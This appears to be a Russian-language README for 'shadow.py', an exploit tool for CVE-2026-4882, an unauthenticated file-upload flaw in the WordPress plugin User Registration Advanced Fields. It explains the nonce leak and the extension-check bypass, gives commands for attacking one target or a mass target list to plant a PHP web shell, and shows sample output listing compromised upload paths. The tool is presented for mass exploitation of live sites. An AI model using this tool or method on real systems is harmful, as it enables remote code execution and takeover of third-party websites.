xshadow-here/cve-2026-4882Пользовательская регистрация расширенных полей <= 1.6.20 - Неаутентифицированная произвольная загрузка файлов
User Registration Advanced Fields <= 1.6.20 - Неаутентифицированная произвольная загрузка файлов
Плагин User Registration Advanced Fields для WordPress (версии до 1.6.20 включительно) уязвим к неаутентифицированной произвольной загрузке файлов через AJAX-действие uraf_profile_picture_upload_method_upload. Плагин раскрывает валидный nonce через wp_localize_script() на любой странице, содержащей форму регистрации, а использование параметра is_snapshot=1 полностью обходит проверку расширения файлов. Это позволяет неаутентифицированным злоумышленникам загружать произвольные файлы (например, PHP-веб-шеллы, замаскированные под GIF-изображения), которые сохраняются в wp-content/uploads/user_registration_uploads/temp-uploads/, что приводит к полному удаленному выполнению кода (RCE).
~ Оценка CVSS: 9.8 (Критическая)
~ Затронутые версии: <= 1.6.20
Одиночная цель:
python3 shadow.py -u https://target.com -s shadow.phpМассовые цели:
python3 shadow.py -f targets.txt -s shadow.php -t 30Интерактивный режим:
python3 shadow.py
╔══════════════════════════════════════════════════╗
║ CVE-2026-4882 — Full Auto Exploit ║
║ User Registration Advanced Fields <= 1.6.20 ║
║ by: Shadow x Friska 😈🔥 ║
╚══════════════════════════════════════════════════╝
═══ Interactive Mode ═══
📄 Target file (e.g. targets.txt): list.txt
⚡ Threads 1-50 (default 30): 30
🎯 Targets : 75
📁 Shell : shadow.php
⚡ Threads : 30
💣 Brute : 1-500
🩷 [3/75] http://target.com
→ http://target.com/wp-content/uploads/user_registration_uploads/temp-uploads/shadow.php
💀 [1/75] http://example.com — no nonce
❌ [4/75] http://example2.com — upload failed